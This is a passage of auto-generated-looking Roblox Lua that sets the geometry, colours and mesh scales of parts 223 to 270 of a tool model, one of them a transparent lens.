  2410. Part223.Reflectance = 0.20000000298023
  2411. Part223.Rotation = Vector3.new(-180, 0, -166.5)
  2412. Part223.Anchored = true
  2413. Part223.FormFactor = Enum.FormFactor.Symmetric
  2414. Part223.Size = Vector3.new(1, 1, 1)
  2415. Part223.CFrame = CFrame.new(6.2701478, 1.57077098, -94.7472229, -0.972369671, 0.233445346, 0, 0.233445346, 0.972369671, 0, 0, 0, -1)
  2416. Part223.BottomSurface = Enum.SurfaceType.Smooth
  2417. Part223.TopSurface = Enum.SurfaceType.Smooth
  2418. Part223.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2419. Part223.Position = Vector3.new(6.2701478, 1.57077098, -94.7472229)
  2420. Part223.Orientation = Vector3.new(0, 180, 13.5)
  2421. Part223.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2422. BlockMesh224.Parent = Part223
  2423. BlockMesh224.Scale = Vector3.new(0.0272727292, 0.0727272928, 0.536363363)
  2424. BlockMesh224.Scale = Vector3.new(0.0272727292, 0.0727272928, 0.536363363)
  2425. Part225.Parent = Tool0
  2426. Part225.Material = Enum.Material.SmoothPlastic
  2427. Part225.BrickColor = BrickColor.new("Dark stone grey")
  2428. Part225.Reflectance = 0.20000000298023
  2429. Part225.Rotation = Vector3.new(-4.5, 90, 0)
  2430. Part225.Anchored = true
  2431. Part225.FormFactor = Enum.FormFactor.Symmetric
  2432. Part225.Size = Vector3.new(1, 1, 1)
  2433. Part225.CFrame = CFrame.new(6.36091185, 1.08372498, -94.6984558, 4.37113883e-08, 0, 1, -0.0784590989, 0.996917307, -3.42955619e-09, -0.996917307, -0.0784590989, -8.72880292e-08)
  2434. Part225.BottomSurface = Enum.SurfaceType.Smooth
  2435. Part225.TopSurface = Enum.SurfaceType.Smooth
  2436. Part225.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2437. Part225.Position = Vector3.new(6.36091185, 1.08372498, -94.6984558)
  2438. Part225.Orientation = Vector3.new(0, 90, -4.5)
  2439. Part225.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2440. BlockMesh226.Parent = Part225
  2441. BlockMesh226.Scale = Vector3.new(0.409090787, 0.181818172, 0.190909088)
  2442. BlockMesh226.Scale = Vector3.new(0.409090787, 0.181818172, 0.190909088)
  2443. Part227.Parent = Tool0
  2444. Part227.Material = Enum.Material.SmoothPlastic
  2445. Part227.BrickColor = BrickColor.new("Really black")
  2446. Part227.Reflectance = 0.10000000149012
  2447. Part227.Rotation = Vector3.new(153.429993, 89.9799957, -180)
  2448. Part227.Anchored = true
  2449. Part227.FormFactor = Enum.FormFactor.Symmetric
  2450. Part227.Size = Vector3.new(1, 1, 1)
  2451. Part227.CFrame = CFrame.new(6.37794399, 1.92048895, -93.7969208, -8.74227624e-08, 0, 0.99999994, -3.55271368e-15, 0.99999994, -4.37113883e-08, -0.999999881, -4.37113812e-08, -8.74227624e-08)
  2452. Part227.BottomSurface = Enum.SurfaceType.Smooth
  2453. Part227.TopSurface = Enum.SurfaceType.Smooth
  2454. Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2455. Part227.Position = Vector3.new(6.37794399, 1.92048895, -93.7969208)
  2456. Part227.Orientation = Vector3.new(0, 90, 0)
  2457. Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2458. CylinderMesh228.Parent = Part227
  2459. CylinderMesh228.Scale = Vector3.new(0.109090917, 0.00909090973, 0.109090909)
  2460. CylinderMesh228.Scale = Vector3.new(0.109090917, 0.00909090973, 0.109090909)
  2461. Part229.Parent = Tool0
  2462. Part229.Material = Enum.Material.SmoothPlastic
  2463. Part229.BrickColor = BrickColor.new("Really black")
  2464. Part229.Reflectance = 0.20000000298023
  2465. Part229.Rotation = Vector3.new(90, 0, 180)
  2466. Part229.Anchored = true
  2467. Part229.FormFactor = Enum.FormFactor.Symmetric
  2468. Part229.Size = Vector3.new(1, 1, 1)
  2469. Part229.CFrame = CFrame.new(6.36203718, 1.65285897, -94.3796692, -0.999991715, -3.55271368e-15, 2.98023224e-08, -2.98023224e-08, 8.94041037e-08, -0.999991715, -0, -1, -8.94048426e-08)
  2470. Part229.BottomSurface = Enum.SurfaceType.Smooth
  2471. Part229.TopSurface = Enum.SurfaceType.Smooth
  2472. Part229.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2473. Part229.Position = Vector3.new(6.36203718, 1.65285897, -94.3796692)
  2474. Part229.Orientation = Vector3.new(89.7699966, 161.559998, -18.4400005)
  2475. Part229.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2476. CylinderMesh230.Parent = Part229
  2477. CylinderMesh230.Scale = Vector3.new(0.318181723, 0.100000001, 0.309090972)
  2478. CylinderMesh230.Scale = Vector3.new(0.318181723, 0.100000001, 0.309090972)
  2479. Part231.Parent = Tool0
  2480. Part231.Material = Enum.Material.SmoothPlastic
  2481. Part231.BrickColor = BrickColor.new("Dark stone grey")
  2482. Part231.Reflectance = 0.20000000298023
  2483. Part231.Rotation = Vector3.new(-90, 0, 0)
  2484. Part231.Anchored = true
  2485. Part231.FormFactor = Enum.FormFactor.Symmetric
  2486. Part231.Size = Vector3.new(1, 1, 1)
  2487. Part231.CFrame = CFrame.new(6.35294199, 1.64314198, -94.7472382, 0.999999404, 0, 0, 0, 0, 0.999998987, 0, -0.999999464, 4.37113457e-08)
  2488. Part231.BottomSurface = Enum.SurfaceType.Smooth
  2489. Part231.TopSurface = Enum.SurfaceType.Smooth
  2490. Part231.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2491. Part231.Position = Vector3.new(6.35294199, 1.64314198, -94.7472382)
  2492. Part231.Orientation = Vector3.new(-89.9199982, 0, 0)
  2493. Part231.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2494. CylinderMesh232.Parent = Part231
  2495. CylinderMesh232.Scale = Vector3.new(0.172727302, 0.409091175, 0.172727302)
  2496. CylinderMesh232.Scale = Vector3.new(0.172727302, 0.409091175, 0.172727302)
  2497. Part233.Parent = Tool0
  2498. Part233.Material = Enum.Material.SmoothPlastic
  2499. Part233.BrickColor = BrickColor.new("Really black")
  2500. Part233.Reflectance = 0.20000000298023
  2501. Part233.Rotation = Vector3.new(-180, 0, -180)
  2502. Part233.Anchored = true
  2503. Part233.FormFactor = Enum.FormFactor.Symmetric
  2504. Part233.Size = Vector3.new(1, 1, 1)
  2505. Part233.CFrame = CFrame.new(6.36203384, 1.816275, -94.8972473, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2506. Part233.BottomSurface = Enum.SurfaceType.Smooth
  2507. Part233.TopSurface = Enum.SurfaceType.Smooth
  2508. Part233.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2509. Part233.Position = Vector3.new(6.36203384, 1.816275, -94.8972473)
  2510. Part233.Orientation = Vector3.new(0, 180, 0)
  2511. Part233.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2512. BlockMesh234.Parent = Part233
  2513. BlockMesh234.Scale = Vector3.new(0.0999999866, 0.0272727292, 0.927272975)
  2514. BlockMesh234.Scale = Vector3.new(0.0999999866, 0.0272727292, 0.927272975)
  2515. Part235.Parent = Tool0
  2516. Part235.Material = Enum.Material.SmoothPlastic
  2517. Part235.BrickColor = BrickColor.new("Really black")
  2518. Part235.Reflectance = 0.20000000298023
  2519. Part235.Rotation = Vector3.new(-180, 0, -166.5)
  2520. Part235.Anchored = true
  2521. Part235.FormFactor = Enum.FormFactor.Symmetric
  2522. Part235.Size = Vector3.new(1, 1, 1)
  2523. Part235.CFrame = CFrame.new(6.29030609, 1.65475297, -94.5108643, -0.972369671, 0.233445346, 0, 0.233445346, 0.972369671, 0, 0, 0, -1)
  2524. Part235.BottomSurface = Enum.SurfaceType.Smooth
  2525. Part235.TopSurface = Enum.SurfaceType.Smooth
  2526. Part235.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2527. Part235.Position = Vector3.new(6.29030609, 1.65475297, -94.5108643)
  2528. Part235.Orientation = Vector3.new(0, 180, 13.5)
  2529. Part235.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2530. BlockMesh236.Parent = Part235
  2531. BlockMesh236.Scale = Vector3.new(0.0272727292, 0.100000024, 0.0636360794)
  2532. BlockMesh236.Scale = Vector3.new(0.0272727292, 0.100000024, 0.0636360794)
  2533. Part237.Parent = Tool0
  2534. Part237.Material = Enum.Material.SmoothPlastic
  2535. Part237.BrickColor = BrickColor.new("Really black")
  2536. Part237.Reflectance = 0.10000000149012
  2537. Part237.Rotation = Vector3.new(-90, -22.5, 180)
  2538. Part237.Anchored = true
  2539. Part237.FormFactor = Enum.FormFactor.Symmetric
  2540. Part237.Size = Vector3.new(1, 1, 1)
  2541. Part237.CFrame = CFrame.new(6.47770214, 2.08215094, -94.5190582, -0.923878074, -3.23520979e-08, -0.382683158, -0.382683635, -5.71115386e-08, 0.923878372, -5.1745058e-08, 0.999998569, 4.03835898e-08)
  2542. Part237.BottomSurface = Enum.SurfaceType.Smooth
  2543. Part237.TopSurface = Enum.SurfaceType.Smooth
  2544. Part237.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2545. Part237.Position = Vector3.new(6.47770214, 2.08215094, -94.5190582)
  2546. Part237.Orientation = Vector3.new(-67.5, -90, -90)
  2547. Part237.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2548. SpecialMesh238.Parent = Part237
  2549. SpecialMesh238.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2550. SpecialMesh238.MeshType = Enum.MeshType.Wedge
  2551. SpecialMesh238.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2552. Part239.Parent = Tool0
  2553. Part239.Material = Enum.Material.SmoothPlastic
  2554. Part239.BrickColor = BrickColor.new("Really black")
  2555. Part239.Reflectance = 0.10000000149012
  2556. Part239.Rotation = Vector3.new(0, 0, -45)
  2557. Part239.Anchored = true
  2558. Part239.FormFactor = Enum.FormFactor.Symmetric
  2559. Part239.Size = Vector3.new(1, 1, 1)
  2560. Part239.CFrame = CFrame.new(6.45093107, 2.12216091, -94.6417847, 0.707105041, 0.707104683, 2.45665576e-14, -0.707104683, 0.707105041, -4.37112533e-08, -3.09088648e-08, 3.09090353e-08, 1)
  2561. Part239.BottomSurface = Enum.SurfaceType.Smooth
  2562. Part239.TopSurface = Enum.SurfaceType.Smooth
  2563. Part239.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2564. Part239.Position = Vector3.new(6.45093107, 2.12216091, -94.6417847)
  2565. Part239.Orientation = Vector3.new(0, 0, -45)
  2566. Part239.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2567. BlockMesh240.Parent = Part239
  2568. BlockMesh240.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.272727191)
  2569. BlockMesh240.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.272727191)
  2570. Part241.Parent = Tool0
  2571. Part241.Material = Enum.Material.SmoothPlastic
  2572. Part241.BrickColor = BrickColor.new("Really black")
  2573. Part241.Reflectance = 0.10000000149012
  2574. Part241.Rotation = Vector3.new(-90, -45, 180)
  2575. Part241.Anchored = true
  2576. Part241.FormFactor = Enum.FormFactor.Symmetric
  2577. Part241.Size = Vector3.new(1, 1, 1)
  2578. Part241.CFrame = CFrame.new(6.45093107, 2.12216711, -94.4963379, -0.707104445, -2.47604977e-08, -0.707104921, -0.707105458, -6.84723886e-08, 0.707104504, -6.59255903e-08, 0.99999553, 3.09090495e-08)
  2579. Part241.BottomSurface = Enum.SurfaceType.Smooth
  2580. Part241.TopSurface = Enum.SurfaceType.Smooth
  2581. Part241.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2582. Part241.Position = Vector3.new(6.45093107, 2.12216711, -94.4963379)
  2583. Part241.Orientation = Vector3.new(-45, -90, -90)
  2584. Part241.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2585. SpecialMesh242.Parent = Part241
  2586. SpecialMesh242.Scale = Vector3.new(0.0272727292, 0.0181818195, 0.0545454584)
  2587. SpecialMesh242.MeshType = Enum.MeshType.Wedge
  2588. SpecialMesh242.Scale = Vector3.new(0.0272727292, 0.0181818195, 0.0545454584)
  2589. Part243.Parent = Tool0
  2590. Part243.Material = Enum.Material.SmoothPlastic
  2591. Part243.BrickColor = BrickColor.new("Really black")
  2592. Part243.Reflectance = 0.10000000149012
  2593. Part243.Rotation = Vector3.new(-90, 45, 180)
  2594. Part243.Anchored = true
  2595. Part243.FormFactor = Enum.FormFactor.Symmetric
  2596. Part243.Size = Vector3.new(1, 1, 1)
  2597. Part243.CFrame = CFrame.new(6.45093107, 1.947667, -94.6008682, -0.707107186, -2.47608813e-08, 0.707106292, 0.707106411, -1.89553795e-08, 0.707107186, -4.10512868e-09, 1, 3.09120658e-08)
  2598. Part243.BottomSurface = Enum.SurfaceType.Smooth
  2599. Part243.TopSurface = Enum.SurfaceType.Smooth
  2600. Part243.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2601. Part243.Position = Vector3.new(6.45093107, 1.947667, -94.6008682)
  2602. Part243.Orientation = Vector3.new(-45, 90, 90)
  2603. Part243.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2604. SpecialMesh244.Parent = Part243
  2605. SpecialMesh244.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2606. SpecialMesh244.MeshType = Enum.MeshType.Wedge
  2607. SpecialMesh244.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2608. Part245.Parent = Tool0
  2609. Part245.Material = Enum.Material.SmoothPlastic
  2610. Part245.BrickColor = BrickColor.new("Really black")
  2611. Part245.Reflectance = 0.10000000149012
  2612. Part245.Rotation = Vector3.new(-90, 67.5, 180)
  2613. Part245.Anchored = true
  2614. Part245.FormFactor = Enum.FormFactor.Symmetric
  2615. Part245.Size = Vector3.new(1, 1, 1)
  2616. Part245.CFrame = CFrame.new(6.41087198, 1.92083299, -94.6281586, -0.382684112, -1.34017402e-08, 0.923879206, 0.923879266, -1.13647154e-08, 0.382684082, 5.37099254e-09, 1, 1.67306862e-08)
  2617. Part245.BottomSurface = Enum.SurfaceType.Smooth
  2618. Part245.TopSurface = Enum.SurfaceType.Smooth
  2619. Part245.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2620. Part245.Position = Vector3.new(6.41087198, 1.92083299, -94.6281586)
  2621. Part245.Orientation = Vector3.new(-22.5, 90, 90)
  2622. Part245.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2623. SpecialMesh246.Parent = Part245
  2624. SpecialMesh246.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454621)
  2625. SpecialMesh246.MeshType = Enum.MeshType.Wedge
  2626. SpecialMesh246.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454621)
  2627. Part247.Parent = Tool0
  2628. Part247.Material = Enum.Material.SmoothPlastic
  2629. Part247.BrickColor = BrickColor.new("Really black")
  2630. Part247.Reflectance = 0.20000000298023
  2631. Part247.Rotation = Vector3.new(-90, 0, 0)
  2632. Part247.Anchored = true
  2633. Part247.FormFactor = Enum.FormFactor.Symmetric
  2634. Part247.Size = Vector3.new(1, 1, 1)
  2635. Part247.CFrame = CFrame.new(6.36203384, 1.456743, -95.4495163, 1, -8.74227908e-08, 4.37113776e-08, -4.37113954e-08, -1.31134172e-07, 1, -4.37113954e-08, -1, -1.74845539e-07)
  2636. Part247.BottomSurface = Enum.SurfaceType.Smooth
  2637. Part247.TopSurface = Enum.SurfaceType.Smooth
  2638. Part247.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2639. Part247.Position = Vector3.new(6.36203384, 1.456743, -95.4495163)
  2640. Part247.Orientation = Vector3.new(-90, 0, 0)
  2641. Part247.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2642. SpecialMesh248.Parent = Part247
  2643. SpecialMesh248.Scale = Vector3.new(0.172727302, 0.150000006, 0.0545454249)
  2644. SpecialMesh248.MeshType = Enum.MeshType.Wedge
  2645. SpecialMesh248.Scale = Vector3.new(0.172727302, 0.150000006, 0.0545454249)
  2646. Part249.Parent = Tool0
  2647. Part249.Material = Enum.Material.SmoothPlastic
  2648. Part249.BrickColor = BrickColor.new("Really black")
  2649. Part249.Reflectance = 0.10000000149012
  2650. Part249.Rotation = Vector3.new(0, 0, -67.5)
  2651. Part249.Anchored = true
  2652. Part249.FormFactor = Enum.FormFactor.Symmetric
  2653. Part249.Size = Vector3.new(1, 1, 1)
  2654. Part249.CFrame = CFrame.new(6.47770214, 2.08215094, -94.655426, 0.382680506, 0.923871875, 4.23483785e-13, -0.923871875, 0.382680506, -4.37106387e-08, -4.03846379e-08, 1.67284249e-08, 1)
  2655. Part249.BottomSurface = Enum.SurfaceType.Smooth
  2656. Part249.TopSurface = Enum.SurfaceType.Smooth
  2657. Part249.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2658. Part249.Position = Vector3.new(6.47770214, 2.08215094, -94.655426)
  2659. Part249.Orientation = Vector3.new(0, 0, -67.5)
  2660. Part249.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2661. BlockMesh250.Parent = Part249
  2662. BlockMesh250.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.245454475)
  2663. BlockMesh250.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.245454475)
  2664. Part251.Name = "Lens"
  2665. Part251.Parent = Tool0
  2666. Part251.Material = Enum.Material.SmoothPlastic
  2667. Part251.BrickColor = BrickColor.new("Light blue")
  2668. Part251.Reflectance = 0.10000000149012
  2669. Part251.Transparency = 0.89999997615814
  2670. Part251.Rotation = Vector3.new(90, 0, -180)
  2671. Part251.Anchored = true
  2672. Part251.FormFactor = Enum.FormFactor.Symmetric
  2673. Part251.Size = Vector3.new(1, 1, 1)
  2674. Part251.CFrame = CFrame.new(6.36362791, 2.03415489, -94.6758881, -1, 0, 0, 0, 0, -1, 0, -1, -4.37113883e-08)
  2675. Part251.BottomSurface = Enum.SurfaceType.Smooth
  2676. Part251.TopSurface = Enum.SurfaceType.Smooth
  2677. Part251.Color = Color3.new(0.705882, 0.823529, 0.894118)
  2678. Part251.Position = Vector3.new(6.36362791, 2.03415489, -94.6758881)
  2679. Part251.Orientation = Vector3.new(90, 180, 0)
  2680. Part251.Color = Color3.new(0.705882, 0.823529, 0.894118)
  2681. CylinderMesh252.Parent = Part251
  2682. CylinderMesh252.Scale = Vector3.new(0.26363644, 0.00909090973, 0.227272689)
  2683. CylinderMesh252.Scale = Vector3.new(0.26363644, 0.00909090973, 0.227272689)
  2684. Part253.Parent = Tool0
  2685. Part253.Material = Enum.Material.SmoothPlastic
  2686. Part253.BrickColor = BrickColor.new("Really black")
  2687. Part253.Reflectance = 0.10000000149012
  2688. Part253.Anchored = true
  2689. Part253.FormFactor = Enum.FormFactor.Symmetric
  2690. Part253.Size = Vector3.new(1, 1, 1)
  2691. Part253.CFrame = CFrame.new(6.36362314, 2.15822601, -94.6327057, 0.999999881, -2.68220873e-07, -4.81740095e-14, 2.68220873e-07, 0.999999881, -4.37115943e-08, 4.97379881e-14, 4.37116263e-08, 1)
  2692. Part253.BottomSurface = Enum.SurfaceType.Smooth
  2693. Part253.TopSurface = Enum.SurfaceType.Smooth
  2694. Part253.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2695. Part253.Position = Vector3.new(6.36362314, 2.15822601, -94.6327057)
  2696. Part253.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2697. BlockMesh254.Parent = Part253
  2698. BlockMesh254.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.290908962)
  2699. BlockMesh254.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.290908962)
  2700. Part255.Parent = Tool0
  2701. Part255.Material = Enum.Material.SmoothPlastic
  2702. Part255.BrickColor = BrickColor.new("Really black")
  2703. Part255.Reflectance = 0.10000000149012
  2704. Part255.Rotation = Vector3.new(0, 0, 22.5)
  2705. Part255.Anchored = true
  2706. Part255.FormFactor = Enum.FormFactor.Symmetric
  2707. Part255.Size = Vector3.new(1, 1, 1)
  2708. Part255.CFrame = CFrame.new(6.31637192, 2.14883089, -94.6327057, 0.923879385, -0.382683694, -4.63976493e-14, 0.382683694, 0.923879385, -4.37116086e-08, 1.67277605e-08, 4.03842506e-08, 1)
  2709. Part255.BottomSurface = Enum.SurfaceType.Smooth
  2710. Part255.TopSurface = Enum.SurfaceType.Smooth
  2711. Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2712. Part255.Position = Vector3.new(6.31637192, 2.14883089, -94.6327057)
  2713. Part255.Orientation = Vector3.new(0, 0, 22.5)
  2714. Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2715. BlockMesh256.Parent = Part255
  2716. BlockMesh256.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.290908962)
  2717. BlockMesh256.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.290908962)
  2718. Part257.Parent = Tool0
  2719. Part257.Material = Enum.Material.SmoothPlastic
  2720. Part257.BrickColor = BrickColor.new("Really black")
  2721. Part257.Reflectance = 0.10000000149012
  2722. Part257.Rotation = Vector3.new(0, 0, 157.5)
  2723. Part257.Anchored = true
  2724. Part257.FormFactor = Enum.FormFactor.Symmetric
  2725. Part257.Size = Vector3.new(1, 1, 1)
  2726. Part257.CFrame = CFrame.new(6.31637192, 1.92083097, -94.7099762, -0.923879683, -0.382682949, 2.84216959e-13, 0.382682949, -0.923879683, -4.37113883e-08, 1.67278671e-08, -4.03839557e-08, 1)
  2727. Part257.BottomSurface = Enum.SurfaceType.Smooth
  2728. Part257.TopSurface = Enum.SurfaceType.Smooth
  2729. Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2730. Part257.Position = Vector3.new(6.31637192, 1.92083097, -94.7099762)
  2731. Part257.Orientation = Vector3.new(0, 0, 157.5)
  2732. Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2733. BlockMesh258.Parent = Part257
  2734. BlockMesh258.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.136363611)
  2735. BlockMesh258.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.136363611)
  2736. Part259.Parent = Tool0
  2737. Part259.Material = Enum.Material.SmoothPlastic
  2738. Part259.BrickColor = BrickColor.new("Really black")
  2739. Part259.Reflectance = 0.20000000298023
  2740. Part259.Rotation = Vector3.new(-90, 0, 0)
  2741. Part259.Anchored = true
  2742. Part259.FormFactor = Enum.FormFactor.Symmetric
  2743. Part259.Size = Vector3.new(1, 1, 1)
  2744. Part259.CFrame = CFrame.new(6.36203384, 1.40674496, -95.4017868, 1, -8.74227908e-08, 4.37113776e-08, -4.37113954e-08, -1.31134172e-07, 1, -4.37113954e-08, -1, -1.74845539e-07)
  2745. Part259.BottomSurface = Enum.SurfaceType.Smooth
  2746. Part259.TopSurface = Enum.SurfaceType.Smooth
  2747. Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2748. Part259.Position = Vector3.new(6.36203384, 1.40674496, -95.4017868)
  2749. Part259.Orientation = Vector3.new(-90, 0, 0)
  2750. Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2751. SpecialMesh260.Parent = Part259
  2752. SpecialMesh260.Scale = Vector3.new(0.172727302, 0.0545454584, 0.154545456)
  2753. SpecialMesh260.MeshType = Enum.MeshType.Wedge
  2754. SpecialMesh260.Scale = Vector3.new(0.172727302, 0.0545454584, 0.154545456)
  2755. Part261.Parent = Tool0
  2756. Part261.Material = Enum.Material.SmoothPlastic
  2757. Part261.BrickColor = BrickColor.new("Really black")
  2758. Part261.Reflectance = 0.20000000298023
  2759. Part261.Rotation = Vector3.new(-180, 0, -180)
  2760. Part261.Anchored = true
  2761. Part261.FormFactor = Enum.FormFactor.Symmetric
  2762. Part261.Size = Vector3.new(1, 1, 1)
  2763. Part261.CFrame = CFrame.new(6.41203594, 1.152071, -94.992691, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2764. Part261.BottomSurface = Enum.SurfaceType.Smooth
  2765. Part261.TopSurface = Enum.SurfaceType.Smooth
  2766. Part261.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2767. Part261.Position = Vector3.new(6.41203594, 1.152071, -94.992691)
  2768. Part261.Orientation = Vector3.new(0, 180, 0)
  2769. Part261.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2770. BlockMesh262.Parent = Part261
  2771. BlockMesh262.Scale = Vector3.new(0.0363636389, 0.0454545394, 0.0454545468)
  2772. BlockMesh262.Scale = Vector3.new(0.0363636389, 0.0454545394, 0.0454545468)
  2773. Part263.Parent = Tool0
  2774. Part263.Material = Enum.Material.SmoothPlastic
  2775. Part263.BrickColor = BrickColor.new("Really black")
  2776. Part263.Reflectance = 0.10000000149012
  2777. Part263.Rotation = Vector3.new(0, 0, 112.5)
  2778. Part263.Anchored = true
  2779. Part263.FormFactor = Enum.FormFactor.Symmetric
  2780. Part263.Size = Vector3.new(1, 1, 1)
  2781. Part263.CFrame = CFrame.new(6.24954987, 1.987602, -94.6826935, -0.382683665, -0.923878968, 2.89318455e-13, 0.923878968, -0.382683665, -4.37113741e-08, 4.03841547e-08, -1.67273786e-08, 1)
  2782. Part263.BottomSurface = Enum.SurfaceType.Smooth
  2783. Part263.TopSurface = Enum.SurfaceType.Smooth
  2784. Part263.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2785. Part263.Position = Vector3.new(6.24954987, 1.987602, -94.6826935)
  2786. Part263.Orientation = Vector3.new(0, 0, 112.5)
  2787. Part263.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2788. BlockMesh264.Parent = Part263
  2789. BlockMesh264.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.190909073)
  2790. BlockMesh264.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.190909073)
  2791. Part265.Parent = Tool0
  2792. Part265.Material = Enum.Material.SmoothPlastic
  2793. Part265.BrickColor = BrickColor.new("Really black")
  2794. Part265.Reflectance = 0.10000000149012
  2795. Part265.Rotation = Vector3.new(0, 0, 90)
  2796. Part265.Anchored = true
  2797. Part265.FormFactor = Enum.FormFactor.Symmetric
  2798. Part265.Size = Vector3.new(1, 1, 1)
  2799. Part265.CFrame = CFrame.new(6.24014997, 2.03489494, -94.6690674, -3.87429878e-07, -0.999998689, 3.0530564e-13, 0.999998689, -3.87429878e-07, -4.37113492e-08, 4.37113741e-08, 2.48689741e-13, 1)
  2800. Part265.BottomSurface = Enum.SurfaceType.Smooth
  2801. Part265.TopSurface = Enum.SurfaceType.Smooth
  2802. Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2803. Part265.Position = Vector3.new(6.24014997, 2.03489494, -94.6690674)
  2804. Part265.Orientation = Vector3.new(0, 0, 90)
  2805. Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2806. BlockMesh266.Parent = Part265
  2807. BlockMesh266.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.218181774)
  2808. BlockMesh266.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.218181774)
  2809. Part267.Parent = Tool0
  2810. Part267.Material = Enum.Material.SmoothPlastic
  2811. Part267.BrickColor = BrickColor.new("Really black")
  2812. Part267.Reflectance = 0.10000000149012
  2813. Part267.Rotation = Vector3.new(-90, 22.5, 180)
  2814. Part267.Anchored = true
  2815. Part267.FormFactor = Enum.FormFactor.Symmetric
  2816. Part267.Size = Vector3.new(1, 1, 1)
  2817. Part267.CFrame = CFrame.new(6.24954987, 2.08214593, -94.5190582, -0.923878372, -3.23520091e-08, 0.382682592, 0.382682472, -3.03105772e-08, 0.923878908, -1.82899633e-08, 0.999998569, 4.03839024e-08)
  2818. Part267.BottomSurface = Enum.SurfaceType.Smooth
  2819. Part267.TopSurface = Enum.SurfaceType.Smooth
  2820. Part267.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2821. Part267.Position = Vector3.new(6.24954987, 2.08214593, -94.5190582)
  2822. Part267.Orientation = Vector3.new(-67.5, 90, 90)
  2823. Part267.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2824. SpecialMesh268.Parent = Part267
  2825. SpecialMesh268.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2826. SpecialMesh268.MeshType = Enum.MeshType.Wedge
  2827. SpecialMesh268.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  2828. Part269.Parent = Tool0
  2829. Part269.Material = Enum.Material.SmoothPlastic
  2830. Part269.BrickColor = BrickColor.new("Really black")
  2831. Part269.Reflectance = 0.20000000298023
  2832. Part269.Rotation = Vector3.new(0, 90, 0)
  2833. Part269.Anchored = true
  2834. Part269.FormFactor = Enum.FormFactor.Symmetric
  2835. Part269.Size = Vector3.new(1, 1, 1)
  2836. Part269.CFrame = CFrame.new(6.29839993, 1.67041695, -94.9790497, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
  2837. Part269.BottomSurface = Enum.SurfaceType.Smooth
  2838. Part269.TopSurface = Enum.SurfaceType.Smooth
  2839. Part269.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2840. Part269.Position = Vector3.new(6.29839993, 1.67041695, -94.9790497)
  2841. Part269.Orientation = Vector3.new(0, 90, 0)
  2842. Part269.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2843. SpecialMesh270.Parent = Part269
  2844. SpecialMesh270.Scale = Vector3.new(1.0909096, 0.263636351, 0.0454545207)
  2845. SpecialMesh270.MeshType = Enum.MeshType.Wedge
